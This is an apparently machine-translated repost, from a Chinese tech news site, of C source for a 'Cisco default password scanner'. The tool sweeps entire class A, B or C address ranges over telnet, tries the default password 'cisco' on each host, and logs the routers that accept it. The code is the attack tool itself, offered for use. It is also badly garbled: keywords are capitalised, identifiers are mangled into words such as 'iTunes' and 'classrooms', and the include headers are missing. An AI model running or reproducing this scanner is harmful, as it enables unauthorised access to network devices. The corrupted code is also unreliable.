Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Cisco default password Scanner v1.3 final

2025-02-14 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

After breakfast in the morning, I read the source code of the final version of Cisco default password Scanner v1.3. It is simply limited in Chinese and English. Please criticize and correct it.

/ * Cisco default password Scanner v1.3 final version

The Cisco scanner can scan a class A, B, and C ip address pool with a default password of cisco.

Cisco routers that have not yet come and changed their passwords have scanned the records and saved them to a cisco.txt

In the file.

How to use it:

Class An address =. / ciscos 1271

Class B address =. / ciscos 127.0 2

Class C address =. / ciscos 127.0.03

Optional:

-t = timeout interval (default 3-5 seconds)

-C = number of threads set (preferably less than 300 threads)

:: Ravi_C::

Smolten@ureach.com

Sinicization: looking back on QQ:328504126

, /

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# define SA struct sockaddr

# define SIN_LEN sizeof (struct sockaddr_in)

# define IPV4_ADDRLEN 16

Void ShowHelp (char *, char *)

Void ShowVer ()

{

Printf ("Cisco Scanner v1.3\ n")

}

Int ConnectCheck (struct sockaddr_in, int)

Const char * ipv4_ntop (int, const void *, char *, size_t)

FILE * stream

Int main (int argc, char * argv []) {

Int iTunes 0, 7, 7, classrooms, 0

Char DestIP [15], * NetworkID,c,*num3

Struct sockaddr_in DestAddress

If (argc

< 3) ShowHelp(argv[0], ""); NetworkID = argv[1]; num3=argv[2]; class=atoi(num3); opterr = 0; while((c = getopt(argc, argv, "C:t:")) != -1) { switch(c) { case 'C': Children = atoi(optarg); break; case 't': Timeout = atoi(optarg); break; case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break; } } if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children"); if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout"); ShowVer(); /*Class A*/ if (class==1) fprintf(stderr, "Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class B*/ if (class==2) fprintf(stderr, "Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class C*/ if (class==3) fprintf(stderr, "Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); DestAddress.sin_family = AF_INET; DestAddress.sin_port = htons(23); /*Class A*/ if (class==1){ for(k = 0; k < 256; k++) { for(j = 0; j < 256; j++) { for(i = 0; i < 256; i++) { if (i >

Children | | j > 0 | | k > 0) {

Wait & status)

}

Sprintf (DestIP, "% s.%d.%d.%d", NetworkID,k,j,i)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

}

}

/ * Class financing /

If (class==2) {

For (j = 0; j)

< 256; j++) { for(i = 0; i < 256; i++) { if (i >

Children | | j > 0) {

Wait & status)

}

Sprintf (DestIP, "% s.%d.%d", NetworkID,j,i)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

}

/ * Class accounts /

If (class==3) {

For (I = 0; I)

< 256; i++) { if (i >

Children) {

Wait & status)

}

Sprintf (DestIP, "% s% d", NetworkID, I)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

For (;;) {

If ((waitpid (- 1, & status, WNOHANG) =-1) & & (errno = = ECHILD))

Exit (EXIT_SUCCESS)

}

}

Int ConnectCheck (struct sockaddr_in DestAddr, int Timeout)

{

Int result,ret,SocketFD

Char Hostname [60], buffer1 [64], buffer2 [64]

If ((SocketFD = socket (AF_INET, SOCK_STREAM, 0))

< 0) exit (EXIT_FAILURE); alarm(Timeout); result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN); if (!result) { alarm(Timeout); memset(buffer1, '\0', 64); memset(buffer2, '\0', 64); if ((ret = read(SocketFD, buffer1, 64)) >

0)

{

Ret = read (SocketFD, buffer1, 64)

Send (SocketFD, "cisco\ r", 6Jing 0)

Ret = read (SocketFD, buffer2, 64)

If ((memcmp (buffer2, "\ r\ nPass", 6)) & &

! (memcmp (buffer1

"\ r\ n\ r\ nUser Access Verification\ r\ n\ r\ nPassword", 40)

{

Stream = fopen ("cisco.txt", "a")

Printf ("Cisco found:% s\ n\ a"

Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))

Fprintf (stream, "% s\ n"

Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))

Fclose (stream)

}}

Close (SocketFD)

}

Exit (EXIT_SUCCESS)

}

Const char *

Ipv4_ntop (int family, const void * addrptr, char * strptr, size_t len) {

Const u_char * p = (const u_char *) addrptr

If (family = = AF_INET) {

Char temp[IPV4 _ ADDRLEN]

Snprintf (temp, sizeof (temp), "% d.%d.%d.%d", p [0], p [1], p [2], p [3])

If (strlen (temp) > = len) {

Errno = ENOSPC

Return (NULL)

}

Strcpy (strptr, temp)

Return (strptr)

}

Errno = EAFNOSUPPORT

Return (NULL)

}

Void ShowHelp (char * argv0, char * ErrMsg) {

ShowVer ()

Printf ("output will be stored in oh cisco.txt file\ n")

Printf ("how to use:% s [optional]\ n", argv0)

Printf ("scan a Class An address: ciscos 1271\ n")

Printf ("scan a Class B address: ciscos 127.0 2\ n")

Printf ("scan a Class C address: ciscos 127.0.03\ n")

Printf ("[- C] maximum number of threads that can be opened\ n")

Printf ("[- t] seconds of timeout\ n\ n")

Exit (EXIT_FAILURE)

}

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report